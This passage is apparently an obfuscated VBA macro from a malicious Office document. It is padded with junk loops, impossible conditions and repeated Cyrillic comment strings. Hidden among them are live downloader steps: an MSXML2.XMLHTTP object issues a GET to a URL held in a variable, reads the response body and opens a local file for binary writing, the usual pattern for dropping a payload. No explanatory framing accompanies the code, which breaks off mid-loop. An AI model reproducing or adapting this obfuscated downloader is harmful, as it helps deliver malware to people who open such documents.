гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ATYpjcIY 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next rfPSmzlN 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim IFlqvhqP As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For IFlqvhqP = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next IFlqvhqP 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("nKVDQSej91") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("ACCeTSDh5674") = Len("wjwIvKaE") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim sffbGJoy As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For sffbGJoy = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PAbPxqto As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PAbPxqto = 0 To 2 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PAbPxqto 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next sffbGJoy 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ctlgBRWB As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ctlgBRWB = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ctlgBRWB 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim WdkiruYI As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For WdkiruYI = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim BJzIKaxL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For BJzIKaxL = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next BJzIKaxL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next WdkiruYI 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nIjnoxeb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nIjnoxeb = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nIjnoxeb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку TANDPOVQGQA.Open "GET", DCRVOFYOBOL, False 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 827871 = 827871 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 2968 < 85 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim CNvYzzAu As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For CNvYzzAu = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim McdFpCWD As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For McdFpCWD = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next McdFpCWD 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next CNvYzzAu 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim bHUopjZl As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For bHUopjZl = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next bHUopjZl 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("qsBIZzgG98") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("AxnHEQRV5232") = Len("eNeeSprR") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim fuJqwQoo As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For fuJqwQoo = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim jLLhblEW As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For jLLhblEW = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next jLLhblEW 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next fuJqwQoo 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim FrvMnLlY As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For FrvMnLlY = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next FrvMnLlY 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim IQSZuhoB As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For IQSZuhoB = 0 To 2 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim dgNQQjLb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For dgNQQjLb = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next dgNQQjLb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next IQSZuhoB 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim KUwyQQnu As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For KUwyQQnu = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next KUwyQQnu 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку TANDPOVQGQA.Send "sfdggdfe" 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 924828 = 924828 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 6996 < 87 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim CeoHYCVh As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For CeoHYCVh = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim GzTxeFrs As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For GzTxeFrs = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next GzTxeFrs 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next CeoHYCVh 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim mmNJeoQL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For mmNJeoQL = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next mmNJeoQL 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("XxHhTgDg61") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("XAGYbgcf9369") = Len("rhcZCyof") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim EslVKgLV As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For EslVKgLV = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim tqKcDlyT As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For tqKcDlyT = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next tqKcDlyT 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next EslVKgLV 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim EwczGLXh As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For EwczGLXh = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next EwczGLXh 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim EdjpasEu As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For EdjpasEu = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim VNhTOmYg As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For VNhTOmYg = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next VNhTOmYg 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next EdjpasEu 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ZcfQhSzG As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ZcfQhSzG = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ZcfQhSzG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку QIQIKQJTKIU = TANDPOVQGQA.responseBody 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 768949 = 768949 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 1381 < 78 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim gVTtybqB As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For gVTtybqB = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lAxeFSDv As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lAxeFSDv = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lAxeFSDv 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next gVTtybqB 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim JQzIGdZp As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For JQzIGdZp = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next JQzIGdZp 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("uUoKRzMq68") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("cJPNYQpl2231") = Len("QNtCqcsg") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim XuHslHtU As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For XuHslHtU = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim rjjRTemS As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For rjjRTemS = 0 To 2 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next rjjRTemS 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next XuHslHtU 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim OOQBTxzl As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For OOQBTxzl = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next OOQBTxzl 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ehEfnIUS As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ehEfnIUS = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim HCBCZpeb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For HCBCZpeb = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next HCBCZpeb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ehEfnIUS 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim HVXoQiFU As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For HVXoQiFU = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next HVXoQiFU 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку FPBPEDJWSVG = FreeFile 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Open ZXWOGYWHSHM For Binary As #FPBPEDJWSVG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 974899 = 974899 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 6596 < 69 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim XtawxPiw As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For XtawxPiw = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim RsqNuoXv As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For RsqNuoXv = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next RsqNuoXv 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next XtawxPiw 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lvOozjBH As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lvOozjBH = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lvOozjBH 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("QRUNexDW42") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("NtGYAoWY7447") = Len("McgsmfoM") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim EfsZIaer As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For EfsZIaer = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ZAKZioGj As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ZAKZioGj = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ZAKZioGj 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next EfsZIaer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim snCqcvdL As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For snCqcvdL = 0 To 7 